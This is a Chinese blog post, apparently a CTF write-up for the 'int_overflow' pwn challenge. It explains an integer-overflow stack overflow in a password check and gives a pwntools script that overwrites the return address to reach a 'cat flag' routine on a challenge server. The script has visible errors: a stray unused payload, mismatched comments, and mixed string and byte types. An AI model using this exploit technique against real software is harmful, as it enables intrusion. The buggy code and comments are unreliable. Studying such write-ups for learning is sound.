zoukankan      html  css  js  c++  java
  • *pwn*练习5——攻防世界-int_overflow

    常规操作就不说了

     进1,进入login函数

    输入密码后进入check_passwd函数

    从汇编代码中可以看到,想要覆盖到返回地址,先使用0x14 个数据覆盖stack拷贝的passed的内存区域,然后使用4字节数据覆盖ebp,再使用"cat flag"的地址覆盖返回地址,最后接上262剩余的数据即可。

    payload一共是256+3-256+8这些字节,先填充14+4进行覆盖,再填充跳转地址,再加上剩余的数据让v3达到绕过溢出的目的

    from pwn import *
    kubopiy=remote("220.249.52.133",59148)#
    elf = ELF("./int_overflow")
    payload=b'a'*(0x28+0x04)+p32(0x0804A0A8)#b是字这么多的a,再加一64位打包好的覆盖使之能覆盖seed
    kubopiy.recvuntil("Your choice:")#接收到那一句
    kubopiy.sendline('1')
    kubopiy.recvuntil("Please input your username:")#接收到那一句
    kubopiy.sendline(1)
    kubopiy.recvuntil("Please input your passwd:")#接收到那一句
    payload='A'*(0x14+4)+p32(0x8048691)+'a'*(256+3-0x14-4-4)#-4是因为还有一的指令
    kubopiy.sendline(payload)
    kubopiy.interactive()
  • 相关阅读:
    hdu 1106 排序(排序)
    hdu 1040 As Easy As A+B(排序)
    hdu 1029 Ignatius and the Princess IV(排序)
    mysql-9索引
    mysql-8 alter命令
    mysql-7事务管理
    mysql-6正则表达式
    http协议
    9-2交互体验
    9-2专项测试下午
  • 原文地址:https://www.cnblogs.com/kubopiy/p/13673316.html
Copyright © 2011-2022 走看看